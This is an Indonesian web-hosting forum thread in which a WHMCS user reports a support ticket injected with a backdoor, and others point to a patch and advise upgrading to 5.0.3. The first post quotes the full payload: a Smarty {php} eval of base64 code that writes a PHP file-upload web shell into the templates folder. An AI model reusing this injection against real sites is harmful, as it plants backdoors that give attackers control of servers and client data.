Support ticket WHMCS di sisipi shell backdoor :(

[mlutfiup]

Support Tickets
#217470 - {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})

waduh untung aja saya cek. kalo gak di cek kemungkinan lolos kali

suram banget ini pake ip malaysia -,-
http://www.ip-adress.com/ip_tracer/203.62.1.42

mohon bantuanya temen2 dwh buat mengatasi masalah ini

 

[vkios01]

kayanya sudah ada thread terkait masalah ini om,

http://www.diskusiwebhosting.com/showthread.php/7328-Injeksi-lewat-SUPPORT-TICKET-WHMCS

 

[mlutfiup]

yup sangat membantu sekali . makasih mas

 

[mlutfiup]

mas mau tanya, kalo di thread http://forum.whmcs.com/showthread.php?t=43462 yang Version 5.0.x -> http://www.whmcs.com/members/dl.php?type=d&id=113 itu taro scriptnya dimana ?

 

[hostguin]

Kalau sudah pakai versi 5.0.3 tidak perlu patch lagi.

 

[MiniShells]

Kalau sudah pakai versi 5.0.3 tidak perlu patch lagi.

tapi apakah di jamin aman nih mas

 

[BennyKusman]

tapi apakah di jamin aman nih mas

so far saya liat2 di forum wht, ngga ada yang complain security hole lagi setelah upgrade..